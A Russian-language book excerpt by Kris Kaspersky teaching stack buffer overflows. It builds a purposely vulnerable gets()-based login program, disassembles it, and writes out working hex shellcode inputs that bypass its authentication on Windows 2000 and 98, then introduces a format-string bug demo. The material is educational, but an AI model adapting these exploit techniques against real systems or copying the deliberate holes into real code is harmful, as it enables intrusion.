Технология срыва стека (фрагмент книги "Техника сетевых атак")

Автор: (c)Крис Касперски

Книга

Рисунок 1. Спрашивайте книгу "Техника сетевых атак" в магазинах города или Интернет-магазинах.
Купить на "Озоне": http://www.o3.ru/detail.cfm/ent=2&id=13468.

В этой главе:

Атаки, основанные на ошибках программной реализации, получили широкое распространение, а их интенсивность с течением времени продолжает неуклонно увеличиваться. Огромная сложность программного обеспечения, частые выходы новых версий - все это приводит к ухудшению качества программного кода и небрежности его тестирования. Большинство фирм, стремясь привлечь внимание потребителей, выбрасывают на рынок сырые продукты, "доводимые до ума" в процессе их эксплуатации. Такая схема создает благоприятную почву для деятельности злоумышленников, которые используют ошибки разработчиков для блокирования и проникновения на локальные и удаленные узлы сети.

Один из типов программных ошибок получил название "переполнение буфера" (buffer overflows). В общих чертах его суть заключается в следующем: если программист выделяет буфер фиксированного размера и заносит в него динамические данные, не убедившись, достаточно ли свободного места для их размещения или нет, то не поместившиеся в буфере данные вылезут за его границы и попадут в ячейки памяти, расположенные за концом буфера. Переменные, расположенные в этих ячейках, окажутся искаженными, а поведение программы станет непредсказуемым. Если буфер расположен в стеке, существует возможность перезаписи адреса возврата из функции, что приводит к передаче управления на незапланированный разработчиком участок кода!

Процесс вызова функции, передача параметров и размещение локальных переменных варьируется от языка к языку и зависит от конкретного компилятора, но в целом выглядит приблизительно так: в стек заносятся параметры и значение регистра-указателя стека уменьшается, т.е. стек растет от больших адресов к меньшим адресам; затем в стек помещается адрес инструкции, следующей за командой вызова подпрограммы (в микропроцессорах серии Intel 80x86 для этой цели служит инструкция CALL) и управление передается вызываемой подпрограмме.

Ячейка памяти, в которой хранится адрес возврата, всегда доступна вызываемой подпрограмме для модификации. А локальные переменные (в том числе и буфера) располагаются компилятором в адресах, лежащих выше [1] этой ячейки. Например, состояние стека при вызове функции myfunct():

myfunct()
{
        char a;
        char buff[5];
        char b;
        ...
}

схематично можно изобразить так:

Смещение от кадра стека Содержимое ячеек
0 A
1 buf[0]
2 buf[1]
3 buf[2]
4 buf[3]
5 buf[4]
6 B
7 Адрес возврата
8... Стек функции, вызвавшей myfunct()

Попытка записи в ячейку buff[6] приведет к искажению адреса возврата, и после завершения работы функции myfunct() произойдет передача управления на совершенно незапланированный разработчиком участок кода и, скорее всего, дело кончится повисанием. Все было бы иначе, если бы компилятор располагал локальные переменные ниже ячейки, хранящей адрес возврата, но эта область стека уже занята - она принадлежит функции, вызвавшей myfunct. Так уж устроен стек - он растет снизу вверх, но не наоборот.

Пример, приведенный ниже, служит наглядной иллюстрацией ошибки программиста, известной под названием "срыва стека" (на диске, прилагаемом к книге, он расположен в файле "/SRC/buff.demo.c"):

#include <stdio.h>
#include <string.h>

root()
{
        printf("Hello, Root!\n");
}

Auth()
{
        char user[10];
        char pass[10];
        printf("Login:"); gets(&user[0]);
        printf("Passw:"); gets(&pass[0]);
        if (!strcmp(&pass[0], "guest"))
                return 1;
        return 0;
}

main()
{
        printf("Buffer Overflows Demo\n");
        if (Auth())
                printf("Password ok\n");
        else
                printf("Invalid password\n");
}

На первый взгляд, программа как будто бы должна работать нормально. Но функция gets(), читающая строку с клавиатуры, не имеет никаких представлений о размере выделенного под нее буфера и принимает данные до тех пор, пока не встретит символ возврата каретки. Если пользователь введет в качестве своего имени строку, превышающую десять символов [2], ее "хвост" затрет адрес возврата функции и дальнейшее выполнение программы окажется невозможным.

Например, если запустить этот пример под управлением Windows 2000 и в качестве имени пользователя ввести строку "1234567890qwerty" операционная система выдаст следующее сообщение, предлагая либо завершить работу приложения, либо запустить отладчик (если он установлен) для выяснения причин сбоя: "Исключение unknown software exception (0xc000001) в приложении по адресу 0x0012ffc0":

Реакция системы на переполнение буфера

Рисунок 72. Реакция системы на переполнение буфера.

Допустим, в программе присутствует некая функция (условно названная "root"), которая выполняет действия, необходимые злоумышленнику. Может ли он специально подобранной строкой изменить адрес возврата таким образом, чтобы вместо сообщения о неправильно набранном пароле, управление передавалось на эту функцию?

Для ответа на такой вопрос необходимо знать - по какому адресу расположена интересующая злоумышленника функция и какой именно байт из введенной строки затирает адрес возврата. Выяснить это можно с помощью дизассемблирования кода программы.

Дизассемблирование - процесс сложный и требующий от исследователя хороших знаний ассемблера, архитектуры операционной системы и техники компиляции кода. Без этого разобраться с алгоритмом работы программы практически невозможно. К сожалению, практически не существует литературы, посвященной дизассемблированию, поэтому в большинстве случаев приходится осваивать эту тему самостоятельно [3].

Все, сказанное ниже, рассчитано на читателя средней квалификации, как минимум знающего назначение наиболее употребляемых команд микропроцессора Intel 80x86. В качестве дизассемблера выбрана IDA PRO четвертой версии [4], однако можно воспользоваться и другими инструментами, такими как SOURCER, W32Dasm или, на худой конец, DumpBin, который поставляется с любым Windows-компилятором.

Результат дизассемблирования buff.demo.exe показан ниже (на диске, прилагаемом к книге, он расположен в файле "/LOG/buff.demo.lst"). Исследователь должен изучить "устройство" функции Auth, (как ее найти во многокилобайтовом листинге - тема отдельного разговора). Для облегчения понимания листинг снабжен подробными комментариями.

.text:00401000 ; Segment type: Pure code
.text:00401000         _text segment para public 'CODE' use32
.text:00401000         assume cs:_text
.text:00401000 ; org 401000h
.text:00401000         assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
.text:00401000         Root proc near
.text:00401000 ; Функция root расположена по адресу 0x401000
.text:00401000         push ebp
.text:00401000 ; назначение процедуры root значение не имеет
.text:00401000 ; для ее вызова достаточно знать - по какому адресу она расположена в памяти,
.text:00401000 ; а расположена она по адресу 0x401000
.text:00401001         mov ebp, esp
.text:00401003         push offset aHelloRoot ; "Hello, Root!\n"
.text:00401008         call _printf
.text:0040100D         add esp, 4
.text:00401010         pop ebp
.text:00401011         retn
.text:00401011         Root endp
.text:00401012
.text:00401012 ;███████████████ S U B R O U T I N E ███████████████████████████████████████
.text:00401012
.text:00401012 ; Attributes: bp-based frame
.text:00401012
.text:00401012 Auth proc near ; CODE XREF: main+10p
.text:00401012
.text:00401012 var_18 = byte ptr -18h
.text:00401012 var_C = byte ptr -0Ch
.text:00401012 ; Так IDA обозначает локальные переменные, а цифры указывают относительное
.text:00401012 ; расположение от конца кадра стека.
.text:00401012 ; В момент вызова функции указатель стека указывает на адрес возврата
.text:00401012         push ebp
.text:00401012 ; В стек заносится регистр ebp, значение указателя стека уменьшается на 4
.text:00401013         mov ebp, esp
.text:00401013 ; Открывается кадр стека.
.text:00401013 ; В регистр ebp заносится значение регистра указателя стека esp.
.text:00401013 ; Регистр ebp будет использоваться для адресации локальных
.text:00401013 ; переменных относительно конца кадра стека
.text:00401015         sub esp, 18h
.text:00401015 ; Резервируется 0x18 (24 в десятичной нотации) байт под локальные переменные
.text:00401015 ; Но размер двух буферов равен 10+10=20 байтам!
.text:00401015 ; Откуда взялись четыре лишние байта?
.text:00401015 ; Для ускорения доступа к данным компилятор размещает начала каждого из буферов
.text:00401015 ; по адресам, кратным четырем байтам - так называемое выравнивание.
.text:00401015 ; Таким образом, на данный момент стек выглядит так:
.text:00401015 ; Относительный адрес     Содержимое ячейки
.text:00401015 ;      - 0x18              буфер var_18[0]
.text:00401015 ;      - 0x17              буфер var_18[1]
.text:00401015 ;      - 0x16              буфер var_18[2]
.text:00401015 ;      - 0x15              буфер var_18[3]
.text:00401015 ;      - 0x14              буфер var_18[4]
.text:00401015 ;      - 0x13              буфер var_18[5]
.text:00401015 ;      - 0x12              буфер var_18[6]
.text:00401015 ;      - 0x11              буфер var_18[7]
.text:00401015 ;      - 0x10              буфер var_18[8]
.text:00401015 ;      - 0x0F              буфер var_18[9]
.text:00401015 ;      - 0x0E              дырка для выравнивания
.text:00401015 ;      - 0x0D              дырка для выравнивания
.text:00401015 ;      - 0x0С              буфер var_С[0] 01
.text:00401015 ;      - 0x0B              буфер var_С [1] 02
.text:00401015 ;      - 0x0A              буфер var_С [2] 03
.text:00401015 ;      - 0x09              буфер var_С [3] 04
.text:00401015 ;      - 0x08              буфер var_С [4] 05
.text:00401015 ;      - 0x07              буфер var_С [5] 06
.text:00401015 ;      - 0x06              буфер var_С [6] 07
.text:00401015 ;      - 0x05              буфер var_С [7] 08
.text:00401015 ;      - 0x04              буфер var_С [8] 09
.text:00401015 ;      - 0x03              буфер var_С[9] 10
.text:00401015 ;      - 0x02              дырка для выравнивания 11
.text:00401015 ;      - 0x01              дырка для выравнивания 12
.text:00401015 ;        0x00              значение регистра ebp[0] 13
.text:00401015 ;      + 0x01              значение регистра ebp[1] 14
.text:00401015 ;      + 0x02              значение регистра ebp[2] 15
.text:00401015 ;      + 0x03              значение регистра ebp[3] 16
.text:00401015 ;      + 0x04              значение регистра eip[0] (адрес возврата) 17
.text:00401015 ;      + 0x05              значение регистра eip[1] (адрес возврата) 18
.text:00401015 ;      + 0x06              значение регистра eip[2] (адрес возврата) 19
.text:00401015 ;      + 0x07              значение регистра eip[3] (адрес возврата) 20
.text:00401015 ; Таким образом, байты с 17 до 20 (не считая нуля, завершающего строку)
.text:00401015 ; из буфера var_c затирают
.text:00401015 : адрес возврата, сохраненный в стеке. Следовательно, строка из
.text:00401015 ; шестнадцати символов, включая
.text:00401015 ; завершающий ноль, вызовет модификацию младшего байта адреса возврата.
.text:00401015 ; Остается отождествить буфер var_c - что он собой представляет:
.text:00401015 ; имя пользователя или пароль?
.text:00401018         push offset aLogin ; "Login:"
.text:00401018 ; В стек заносится смещение строки "Login", значение указателя стека
.text:00401018 ; уменьшается на 4
.text:00401018 ; Это первый (и единственный) аргумент функции printf
.text:0040101D         call _printf
.text:0040101D ; Вывод на экран приглашения "Login:"
.text:00401022         add esp, 4
.text:00401022 ; Значение указателя стека увеличивается на четыре, чтобы
.text:00401022 ; избавиться от занесенного в стек смещения
.text:00401025 ; строки "Login". Си-функции не очищают стек после своего завершения
.text:00401025         lea eax, [ebp+var_C]
.text:00401025 ; В регистр eax заносится смещение буфера var_c для последующей
.text:00401025 ; передачи его функции gets, читающей
.text:00401025 ; строку с клавиатуры.
.text:00401025 ; Следовательно, буфер var_c содержит имя пользователя
.text:00401028         push eax
.text:00401028 ; Значение eax заносится в стек
.text:00401029         call _gets
.text:00401029 ; Вызов функции _gets
.text:0040102E         add esp, 4
.text:0040102E ; Удаление двойного слова из стека (для очистки аргумента функции gets)
.text:00401031         push offset aPassw ; "Passw:"
.text:00401031 ; Занесение в стек строки "Passw"
.text:00401036         call _printf
.text:00401036 ; Вывод строки "Passw" на экран с помощью функции printf
.text:0040103B         add esp, 4
.text:0040103B ; Удаление двойного слова из стека
.text:0040103E         lea ecx, [ebp+var_18]
.text:0040103E ; В регистр ecx заносится смещение буфера var_18 для последующей
.text:0040103E ; передачи его функции gets,
.text:0040103E ; читающей строку с клавиатуры. Следовательно, буфер var_18 содержит пароль
.text:00401041         push ecx
.text:00401041 ; Передача аргумента функции gets
.text:00401042         call _gets
.text:00401042 ; Чтение пароля в буфер var_18
.text:00401047         add esp, 4
.text:00401047 ; Балансировка стека
.text:0040104A         push offset aGuest ; "guest"
.text:0040104A ; Занесение в стек смещения строки Guest для сравнения ее с введенным паролем
.text:0040104F         lea edx, [ebp+var_18]
.text:0040104F ; В регистр edx заносится смещение буфера, содержащего введенный пароль
.text:00401052         push edx
.text:00401052 ; Сейчас в верхушке стека содержатся два значения:
.text:00401052 ; смещение эталонного пароля и смещение буфера, содержащего введенный пароль
.text:00401053         call _strcmp
.text:00401053 ; Вызов функции strcmp(&pass[0],"Guest")
.text:00401058         add esp, 8
.text:00401058 ; Балансировка стека
.text:0040105B         test eax, eax
.text:0040105B ; Значение, возвращаемое функцией, помещается в регистр eax.
.text:0040105B ; Если он равен нулю, то строки идентичны и наоборот
.text:0040105B ; Если eax равен нулю, команда test выставляет флаг нуля
.text:0040105D         jnz short loc_0_401066
.text:0040105D ; Если флаг не установлен (пароль не равен "Guest"), переход по адресу 401066
.text:0040105F         mov eax, 1
.text:0040105F ; В регистр eax заносится значение 1, которое будет возвращено при выходе из нее
.text:00401064         jmp short loc_0_401068
.text:00401064 ; Переход по адресу 401068 (к выходу из функции)
.text:00401066 loc_0_401066: ; CODE XREF: Auth+4Bj
.text:00401066         xor eax, eax
.text:00401068 ; Обнулить значение регистра eax
.text:00401068 loc_0_401068: ; CODE XREF: Auth+52j
.text:00401068         mov esp, ebp
.text:00401068 ; Восстановить значение регистра esp, который должен указывать
.text:00401068 ; на сохраненный в стеке регистр ebp
.text:0040106A         pop ebp
.text:0040106A ; Восстановить ebp
.text:0040106B         retn
.text:0040106B ; Выйти из функции. Команда retn снимает из стека двойное слово, которое при
.text:0040106B ; нормальном развитии событий должно быть равно адресу возврата
.text:0040106B ; (в данном примере - 00401081
.text:0040106B ; (смотри функцию main)
.text:0040106B         Auth endp
.text:0040106B
.text:0040106C
.text:0040106C ; ███████████████ S U B R O U T I N E ███████████████████████████████████████
.text:0040106C
.text:0040106C ; Attributes: bp-based frame
.text:0040106C         main proc near ; CODE XREF: start+AFp
.text:0040106C         push ebp
.text:0040106C ; Занесение в стек значение регистра ebp
.text:0040106D         mov ebp, esp
.text:0040106D ; Открытие кадра стека
.text:0040106F         push offset aBufferOverflow ; "Buffer Overflows Demo\n"
.text:0040106F ; Занесение в стек смещения строки "Buffer Overflows Demo"
.text:0040106F ; для вывода ее на экран
.text:00401074         call _printf
.text:00401074 ; Вызов функции printf("Buffer Overflows Demo\n")
.text:00401079         add esp, 4
.text:00401079 ; Балансировка стека
.text:0040107C         call Auth
.text:0040107C ; Вызов функции Auth(). В стек заносится адрес следующей за call
.text:0040107C ; команды, т.е. 00401081
.text:00401081         test eax, eax
.text:00401081 ; Функция Auth возвратила нулевое значение?
.text:00401083         jz short loc_0_401094
.text:00401083 ; Если функция возвратила нулевое значение, то перейти по адресу 401094
.text:00401085         push offset aPasswordOk ; "Password ok\n"
.text:00401085 ; Занесение в стек смещения строки "Password Ok"
.text:0040108A         call _printf
.text:0040108A ; Вызов функции printf("Password OK\n");
.text:0040108F         add esp, 4
.text:0040108F ; Балансировка стека
.text:00401092         jmp short loc_0_4010A1
.text:00401092 ; Переход по адресу 4010A1
.text:00401094
.text:00401094 loc_0_401094: ; CODE XREF: main+17j
.text:00401094         push offset aInvalidPasswor ; "Invalid password\n"
.text:00401094 ; Занесение в стек строки " Invalid password"
.text:00401099         call _printf
.text:00401099 ; Вызов функции printf("Invalid password\n")
.text:0040109E         add esp, 4
.text:0040109E ; Балансировка стека
.text:004010A1
.text:004010A1 loc_0_4010A1:; CODE XREF: main+26j
.text:004010A1         pop ebp
.text:004010A1 ; Восстановление ebp
.text:004010A2         retn
.text:004010A2 ; Завершение программы
        ...
.text:004010A2         main endp


.data:00406030 aHelloRoot      db 'Hello, Root!',0Ah,0 ; DATA XREF: .text:00401003o
.data:0040603E                 align 4
.data:00406040 aLogin          db 'Login:',0 ; DATA XREF: Auth+6o
.data:00406047                 align 4
.data:00406048 aPassw          db 'Passw:',0 ; DATA XREF: Auth+1Fo
.data:0040604F                 align 4
.data:00406050 aGuest          db 'guest',0 ; DATA XREF: Auth+38o
.data:00406056                 align 4
.data:00406058 aBufferOverflow db 'Buffer Overflows Demo',0Ah,0 ; DATA XREF: main+3o
.data:0040606F                 align 4
.data:00406070 aPasswordOk     db 'Password ok',0Ah,0 ; DATA XREF: main+19o
.data:0040607D                 align 4
.data:00406080 aInvalidPasswor db 'Invalid password',0Ah,0 ; DATA XREF: main+28o

Анализ кода позволил установить, что искомая функция располагается по адресу, равному 0x401000, а шестнадцатый символ имени пользователя затирает завершающим строку нулем младший байт адреса возврата.

Для передачи управления на функцию root() необходимо подменить адрес возврата на ее адрес. Поскольку адрес возврата, уже содержащийся в стеке, равен 0х401081, а адрес функции root() равен 0x401000, для достижения поставленной цели достаточно всего лишь обнулить младший байт. Если ввести строку длиной 16 символов (неважно каких), завершающий ее нуль придется как раз на младший байт сохраненного в стеке регистра EIP и инструкция retn передаст управление на функцию root().

- 0x0С user[0]         01         X
- 0x0B user[1]         02         X
- 0x0A user[2]         03         X
- 0x09 user[3]         04         X
- 0x08 user[4]         05         X
- 0x07 user[5]         06         X
- 0x06 user[6]         07         X
- 0x05 user[7]         08         X
- 0x04 user[8]         09         X
- 0x03 user[9]         10         X
- 0x02 дырка           11         X
- 0x01 дырка           12         X
  0x00 ebp[0]          13         X
+ 0x01 ebp[1]          14         X
+ 0x02 ebp[2]          15         X
+ 0x03 ebp[3]          16         X
+ 0x04 eip[0]     81   17         0
+ 0x05 eip[1]     10   18
+ 0x06 eip[2]     40   19
+ 0x07 eip[3]     00   20

Если на запрос имени пользователя ввести, например, такую строку, то на экран выдастся приветствие "Hello, Root!", подтверждающие факт передачи управления функции root(), что не было предусмотрено разработчиком.

Однако сразу же после завершения функции root(), программа "грохается" и операционная система выдает сообщение об исключительной ситуации, предлагая завершить работу приложения (смотри Рисунок 73). (Реакция операционной системы зависти от самой операционной системы, данный скриншот иллюстрирует поведение Windows 2000):

Реакция операционной системы на подмену адреса возврата

Рисунок 73. Реакция операционной системы на подмену адреса возврата адресом функции Root.

Исключение происходит из-за нарушения балансировки стека, ведь перед передачей управления функции Root в стек не был занесен адрес возврата! Но команда retn в строке 0x401011, "не зная" этого, снимает со стека первое попавшееся ей "под руку" двойное слово и передает на него управление.

Если нажать клавишу "отмена", операционная система запустит отладчик (конечно, при условии, что он установлен в системе). Стек, просмотренный с его помощью, должен выглядеть следующим образом (область стека, принадлежащая функции start(), не показана, поскольку в данном случае не представляет никакого интереса):

0012FF74 78787878 <- буфер имени пользователя
0012FF78 78787878 <- было - регистр EBP, сохраненный функцией Auth, стало - буфер имени пользователя
0012FF7C 00401000 <- было - адрес возврата из функции Auth, стало - адрес функции root
0012FF80 0012FFC0 <- значение регистра EBP, сохраненное функцией main
0012FF84 00401262 <- адрес возврата из функции main

Ниже всех в стеке находится адрес возврата из процедуры "main" (0x401262), за ним следует значение регистра EBP (0x12FFC0), сохраненное в функции main() командной PUSH EBP в строке 0х40106C, затем идет модифицированный адрес возврата из функции "Auth" (0x401000), а выше расположен буфер, содержащий имя пользователя.

При выходе из функции Auth() команда retn снимает двойное слово из стека (равное теперь 0x401000) и передает на него управление. Но при выходе из функции root() команда retn извлекает двойное слово, равное 0x12FFC0 и передает на него управление. По этому адресу находятся случайные данные, поэтому поведение программы становится непредсказуемым.

Однако это не уменьшает значимости того факта, что функция Root получила управление (чего не могло произойти при нормальном ходе вещей) и была успешно выполнена. Аварийное завершение приложения - побочный эффект такой операции. Он приводит к блокировке ресурса, демаскирует атакующего и позволяет администратору системы установить, что же с ней произошло, поэтому такой подход в некоторых случаях неприемлем.

Кроме того, вовсе не факт, что в атакуемом коде всегда будет присутствовать функция, удовлетворяющая потребности злоумышленника. Но существует возможность передать управление на свой код! Для этого достаточно скорректировать адрес возврата таким образом, чтобы он указывал на начало [5] буфера, содержащего введенную пользователем строку. Тогда эта строка станет интерпретироваться как машинный код и выполнится прямо в стеке (не все микропроцессоры и не все операционные допускают выполнение кода в стеке, но в подавляющем большинстве случаев такой трюк возможен).

Для того, чтобы передать управление на начало буфера, необходимо знать его адрес. Дизассемблирование в этом вряд ли поможет, поскольку не дает представления о значении регистра ESP в момент вызова программы, поэтому необходимо воспользоваться отладчиком. Для платформы Windows хорошо себя зарекомендовал Soft-Ice от NuMega, но для экспериментов, описываемых в книге, вполне подойдет и отладчик, интегрированный в Microsoft Visual Studio.

Установив точку останова в строке 0x0401028, необходимо запустить программу на выполнение и, дождавшись "всплытия" отладчика, посмотреть на значение регистра EAX. Предыдущая команда только что занесла в него адрес буфера, предназначенного для ввода имени пользователя. Под Windows 2000 он равен 0x12FF6C, но под Windows 98 - 0x63FDE4. Это происходит по той причине, что нижняя граница стека в различных операционных системах разная. Поэтому, программные реализации атак подобного типа очень чувствительны к используемой платформе.

В двадцать восемь байт двух буферов (и еще четыре байта регистра EBP дополнительно) очень трудно затолкать код, делающий нечто полезное, однако в подавляющем большинстве случаев в атакуемых программах присутствуют буфера гораздо большего размера. Но для демонстрации принципиальной возможности передачи своего собственного кода на сервер вполне достаточно выполнить одну команду "MOV EAX,1", заносящую в регистр EAX ненулевое значение. Тогда, независимо от введенного пароля, аутентификации будет считаться успешной, ибо:

       if (Auth())
              printf("Password ok\n");
       else
              printf("Invalid password\n");

Строка, передающая управление на начало буфера имени пользователя, под Windows 2000 в шестнадцатеричном представлении должна выглядеть так: "?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 6C FF 12", а под Windows 98 (Windows 95) так: "?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E4 FD 63".

Опкод команды "MOV EAX, const" равен "B8 x x x x", где "x" обозначает каждый байт константы. Так, например, "MOV EAX, 0x31323334" в шестнадцатеричном представлении выглядит так: "B8 34 33 32 31".

Вернуть управление основному телу программы можно множеством способов - например, воспользоваться командной перехода JMP. Но конструкция "JMP label" неудобна в обращении, поскольку в микропроцессорах серии Intel 80x86 метка представляет собой относительное смещение, отсчитываемое от адреса следующей за JMP команды. Т.к. расположение стека (а вместе с ним и команды JMP) варьируется в зависимости от операционной системы, то полученный код окажется системно-зависимым. Поэтому лучше воспользоваться регистровой адресацией: "JMP reg", где reg - 32-разрядный регистр общего назначения.

Однако на передаваемый во вводимой строке код наложены определенные ограничения. Например, с клавиатуры невозможно ввести символ нуля, поэтому команду MOV REG, 0x00401081 [6] использовать не получится. Для решения этой проблемы необходимо найти регистр, уже содержащий нуль в старшем байте. При помощи отладчика нетрудно убедиться, что старшие 16 бит регистра ECX равны "0x40", поэтому остается скорректировать младшее слово командой MOV CX,0x1018. В результате получается следующий код:

       MOV EAX,0x31323334
       MOV CX, 0x1081
       JMP ECX

Перевести ассемблерный листинг в машинный код можно, например, с помощью утилиты HIEW, предварительно переведя его в 32-разрядный режим. Если все сделать правильно, в результате работы должно получиться следующее:

00000000: B834333231 mov eax,031323334 ;"1234"
00000005: 66B98110   mov cx,01081      ;"??"
00000009: FFE1       jmp ecx

А строка, которую необходимо набрать вместо имени пользователя в шестнадцатеричном представлении полностью выглядит так: "B8 34 33 32 31 66 B9 81 10 FF E1 ?? ?? ?? ?? ?? 6C FF 12 [7], где "??" - любой байт. Некоторые из этих символов невозможно непосредственно ввести с клавиатуры, поэтому приходится прибегать к помощи клавиши Alt.

Другой способ заключается в использовании перенаправления ввода. Для этого необходимо создать файл приблизительно следующего содержания (на диске, прилагаемом к книге, он расположен в директории "/SRC" и называется "buff.demo.2000.key"):

00000000: B8 34 33 32 31 66 B9 81 │ 10 FF E1 66 66 66 66 66     ╕4321f╣Б► сfffff
00000010: 6C FF 12 0D 0A 0D 0A    │                             l ↕♪◙♪◙

Он состоит из двух строк, завершаемых последовательностью <CRLF>, представляющих собой имя пользователя и пароль. А запускать его необходимо следующим образом: "buff.demo.exe < buff.demo.2000.key". После завершения работы программы экран должен выглядеть приблизительно так:

F:\TPNA\src>buff.demo.exe
Buffer Overflows Demo
Login:╕1234f╣Б^P с12345l ^R
Passw:
Password ok

Таким образом, ошибка программиста привела к возможности передачи управления на код злоумышленника и позволила ему проникнуть в систему еще на стадии аутентификации! Кстати, некоторые версии UNIX содержали ошибку переполнения буфера при вводе имени пользователя или пароля, поэтому рассмотренный выше пример трудно назвать надуманным.

Поскольку при запуске программы из-под Windows 98, буфер имени пользователя располагается по другому адресу, то необходимо скорректировать адрес возврата с 0x12FF6C на 0x63FDE4 (кстати, в Windows 98 не работает клавиша Alt и единственный путь ввести строку - воспользоваться перенаправлением ввода):

00000000: B8 34 33 32 31 66 B9 81 │ 10 FF E1 66 66 66 66 66     ╕4321f╣Б► сfffff
00000010: E4 FD 63 0D 0A 0D 0A    │                             l ↕♪◙♪◙

Однако при попытке ввода такой строки происходит аварийное закрытие приложения. Отладчик позволяет установить, что управление получает не требуемый код, а какой-то непонятный мусор. Оказывается, операционная система Windows 98 портит содержимое стека, расположенное выше указателя (т.е. в младших адресах). Такое поведение является вполне нормальным, поскольку сохранность памяти, лежащей выше указателя стека не гарантируется. Экспериментально удается установить, что с адреса 0x63FDE8 начинается неиспорченный "кусочек" стека, который пригоден для размещения кода.

Одина из возможных реализаций атаки, работающей под управлением Windows 98, показана ниже (на диске, прилагаемом к книге, она содержится в файле "/SRC/buff.demo.98.key"):

00000000: 31 32 33 34 B8 01 02 03 │ 04 66 B9 81 10 FF E1 31      1234╕☺☻♥♦f╣Б► с1
00000010: E8 FD 63 0D 0A 31 32 33 │ 34 0D 0A                     ш?c♪◙1234♪◙

Четыре байта в начале строки - произвольны. Они необходимы лишь затем, чтобы сместить исполняемый код в непортящийся регион стека. Соответственно, необходимо скорректировать адрес возврата, передавая управление не на начало буфера (которое окажется затертым), а на первый байт исполняемого кода.

Ниже приведен результат использования такой строки под управлением Windows 98. Это работает! (При перенаправлении ввода вводимая строка не отображается на экране, потому имя и пароль отсутствуют):

buff.demo.exe <buff.demo.98.key
Buffer Overflows Demo
Login:Passw:Password ok

Для предотвращения переполнения буфера программистам рекомендуют использовать функции, позволяющие явно указывать максимальное количество считываемых с клавиатуры символов. Но этот прием сам по себе еще не гарантирует неуязвимость приложения. Например, в примере, приведенном ниже, на первый взгляд все как будто бы нормально (на диске, прилагаемом к книге, этот пример содержится в файле "/SRC/buff.printf.c"):

#include <string.h>

void main()
{
       FILE *psw;
       char buff[32];
       char user[16];
       char pass[16];
       char _pass[16];

       printf("printf bug demo\n");
       if (!(psw = fopen("buff.psw", "r"))) return;
       fgets(&_pass[0], 8, psw);
        
       printf("Login:"); fgets(&user[0], 12, stdin);
       printf("Passw:"); fgets(&pass[0], 12, stdin);
        
       if (strcmp(&pass[0], &_pass[0]))
              sprintf(&buff[0], "Invalid password: %s", &pass[0]);
       else
              sprintf(&buff[0], "Password ok\n");

       printf(&buff[0]);
}

Все строки, читаемые как с клавиатуры, так и из файла паролей, гарантированно влезают в отведенный им буфер и ни при каких обстоятельствах не могут выйти за его границы. При условии, что у злоумышленника нет доступа к файлу "buff.psw", содержащего пароли пользователей [8], он никак не сможет обойти защиту [9]. Кажется, в десятке строк трудно ошибиться и никаких дыр тут нет.

Психологическая инерция подводит и на этот раз. И, видимо, не только разработчиков, но в том числе и злоумышленников, поскольку тип атаки, описанный ниже, не получил большого распространения. Поэтому многие из приложений, считающиеся защищенными, все же содержат грубые ошибки, позволяющие легко и незаметно проникнуть в систему.

Речь идет о "большой дыре" в функции "printf", вернее дыра находится не в одной конкретной функции (тогда бы она могла бы быть безболезненно устранена), а в самом языке Си. Одни из его недостатков заключается в том, что функция не может определить, сколько ей было передано параметров. Поэтому функциям с переменным количеством аргументов приходится каким-то образом передавать и число этих самых аргументов.

Функция "printf" использует для этой цели строку спецификаторов и ее вызов может выглядеть, например, так: "printf("Name: %s\nAge: %d\nIndex: %x\n",&s[0],age,index)". Количество спецификаторов должно быть равно количеству передаваемых функции переменных. Но что произойдет, если равновесие нарушится?

Возможно два варианта - переменных больше, чем спецификаторов и переменных меньше, чем спецификаторов. Пока количество спецификаторов не превышает количества переданных параметров, не происходит ничего интересного, поскольку из стека аргументы удаляются не самой функцией, а вызывающим ее кодом (который уж наверняка знает, сколько аргументов было передано), разбалансировки стека не происходит и все работает нормально. Но если количество спецификаторов превышает количество требуемых аргументов, функция, пытаясь прочитать очередной аргумент, обратится к "чужим" данным! Конкретное поведение кода зависит от компилятора и содержимого стека на момент вызова функции "printf".

Сказанное будет рассмотрено ниже на примере следующей программы (на диске, прилагаемом к книге, она находится в файле "/SRC/printf.bug"):

#include <stdio.h>

main()
{
       int a = 0x666;
       int b = 0x777;
       printf("%x %x\n", a);
}

Если ее откомпилировать с помощью Microsoft Visual Studio 5.0-6.0, результат работы окажется следующий:

666 777

Программа выдала два числа, несмотря на то, что ей передавали всего одну переменную 'a'. Каким же образом она сумела получить значение 'b'? (а в том, что '777' - это действительно значение переменной 'b' сомневаться не приходится). Ответить на этот вопрос помогает дизассемблирование:

.text:00401000 main proc near.text:00401000
.text:00401000 var_8 = dword ptr -8
.text:00401000 var_4 = dword ptr -4
.text:00401000
.text:00401000         push ebp
.text:00401001         mov ebp, esp
.text:00401001 ; Открывается кадр стека
.text:00401003         sub esp, 8
.text:00401003 ; Относительное значение esp равно 0 (условно)
.text:00401006         mov [ebp+var_4], 666h
.text:00401006 ; var _4 - это переменная a, которую компилятор расположил в стеке
.text:0040100D         mov [ebp+var_8], 777h
.text:0040100D ; var _8 - это переменная b
.text:00401014         mov eax, [ebp+var_4]
.text:00401014 ; В регистр eax загружается значение
.text:00401014 ; переменной a для передачи его функции printf
.text:00401017         push eax
.text:00401017 ; В стек заносится значение переменной eax
.text:00401018         push offset aXX ; "%x %x\n"
.text:00401018 ; В стек заносится указатель на строку спецификаторов
.text:00401018 ; Содержимое стека на этот момент такое:
.text:00401018 ; +8 off aXX ('%x %x') (строка спецификаторов)
.text:00401018 ; +4 var_4 ('a') (аргумент функции printf)
.text:00401018 ; 0  var_8 ('b') (локальная переменная)
.text:00401018 ; -4 var_4 ('a')(локальная переменная)
.text:0040101D         call printf
.text:0040101D ; Вызов функции printf
.text:00401022         add esp, 8
.text:00401022 ; Выталкивание аргументов функции из стека
.text:00401025         mov esp, ebp
.text:00401025 ; Закрытие кадра стека
.text:00401027         pop ebp
.text:00401028         retn
.text:00401028 main endp

Итак, содержимое стека на момент вызова функции printf такое (смотри комментарии к дизассемблированному листингу) [10]:

+8     off aXX     ('%x %x') (строка спецификаторов)
+4     var_4       ('a') (аргумент функции printf)
 0     var_8       ('b') (локальная переменная)
-4     var_4       ('a') (локальная переменная)

